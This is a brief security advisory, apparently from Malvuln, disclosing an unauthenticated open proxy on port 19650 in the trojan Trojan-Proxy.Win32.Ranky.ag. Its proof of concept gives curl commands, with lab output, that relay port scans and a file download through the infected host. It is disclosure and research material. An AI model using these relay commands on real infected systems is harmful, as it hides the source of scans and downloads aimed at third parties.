Trojan-Proxy.Win32.Ranky.ag Unauthenticated Open Proxy

Trojan-Proxy.Win32.Ranky.ag malware suffers from an unauthenticated open proxy vulnerability.


MD5 | 8974f0b9a6eb8c7f9829e7b6e5335622

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/af4868303124ee4f765a16328e8993a6.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Trojan-Proxy.Win32.Ranky.ag
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP port 19650. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.
Type: PE32
MD5: af4868303124ee4f765a16328e8993a6
Vuln ID: MVID-2021-0269
Dropped files:
Disclosure: 07/03/2021

Exploit/PoC:
Scan port 110)

curl -x http://192.168.18.129:19650 http://192.168.18.128:110
+OK INetSim POP3 Server ready <55726.1625248638@pop3host>
-ERR Unknown command.


Scan port 21)

curl -x http://192.168.18.129:19650 http://192.168.18.128:21
220 INetSim FTP Service ready.
500 Unknown command.

Download filez)

curl -x http://192.168.18.129:19650 http://192.168.18.128/DOOM.exe --out DOOM.exe
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 101k 100 101k 0 0 101k 0 0:00:01 --:--:-- 0:00:01 1630k


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